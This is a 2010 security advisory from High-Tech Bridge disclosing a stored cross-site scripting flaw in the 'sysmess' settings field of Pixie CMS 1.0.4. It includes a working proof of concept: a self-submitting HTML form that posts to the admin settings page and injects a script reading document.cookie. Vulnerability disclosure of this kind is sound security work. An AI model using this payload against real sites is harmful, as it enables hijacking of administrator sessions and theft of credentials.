Vulnerability ID: HTB22469 Reference: http://www.htbridge.ch/advisory/stored_xss_vulnerability_in_pixie.html Product: Pixie Vendor: Toggle Labs Ltd ( http://www.getpixie.co.uk/ ) Vulnerable Version: 1.0.4 and Probably Prior Versions Vendor Notification: 01 July 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the Pixie core settings saving script to properly sanitize user-supplied input in "sysmess" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&x=pixie"; method="post" name="main" > <input type="hidden" name="langu" value="en-gb" /> <input type="hidden" name="time_zone" value="+0" /> <input type="hidden" name="dstime" value="no" /> <input type="hidden" name="dateformat" value="%Oe %B %Y, %H:%M" /> <input type="hidden" name="rte" value="1" /> <input type="hidden" name="logs" value="5" /> <input type="hidden" name="sysmess" value='hello message"><script>alert(document.cookie)</script>' /> <input type="submit" name="settings_edit" id="form_addedit_submit" value="Update" /> </form> <script> document.getElementById('form_addedit_submit').click(); </script>
